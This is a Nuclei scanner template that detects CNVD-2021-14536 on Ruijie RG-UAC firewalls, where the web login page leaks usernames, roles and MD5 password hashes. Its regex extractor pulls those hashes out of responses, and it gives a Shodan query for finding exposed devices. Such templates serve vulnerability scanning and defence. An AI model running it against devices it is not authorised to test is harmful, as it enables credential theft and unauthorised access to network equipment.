ruijie-password-leak: RG-UAC Ruijie - Password Hashes Leak

id: ruijie-password-leak

info:
  name: RG-UAC Ruijie - Password Hashes Leak
  author: ritikchaddha,galoget
  severity: high
  description: |
    Multiple Firewall Devices from vendor Ruijie Networks are affected by an information leakage vulnerability where credentials are included in the source code of the web admin login interface (usernames, roles, MD5 hashes and additional details of each user). Attackers can use this information to illegally access into the vulnerable devices, obtain sensitive device information and change configurations. The vulnerability is identified by CNVD-2021-14536.
  reference:
    - https://forum.butian.net/share/177
    - https://www.ruijie.com.cn/gy/xw-aqtg-zw/86924/
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-14536
  classification:
    cpe: cpe:2.3:o:ruijie:rg-uac_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ruijie
    product: rg-uac_firmware
    shodan-query: http.html:"Get_Verify_Info"
  tags: password,leak,ruijie,exposure,firewall,router,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), ''\"role\":\"super_admin\"'')'
          - 'contains(tolower(body), ''\"role\":\"guest_admin\"'')'
          - 'contains(tolower(body), ''\"role\":\"reporter_admin\"'')'
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - '"password":"[a-f0-9]{32}'
# digest: 490a00463044022063cd73196b9b543be456422b499c189fe76f1faa10a5cd7ee07c94e0261d6bf0022029f90ca69a2dc600d325b996b4584f184e09c2f132e8d49634b0e112527ee75a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.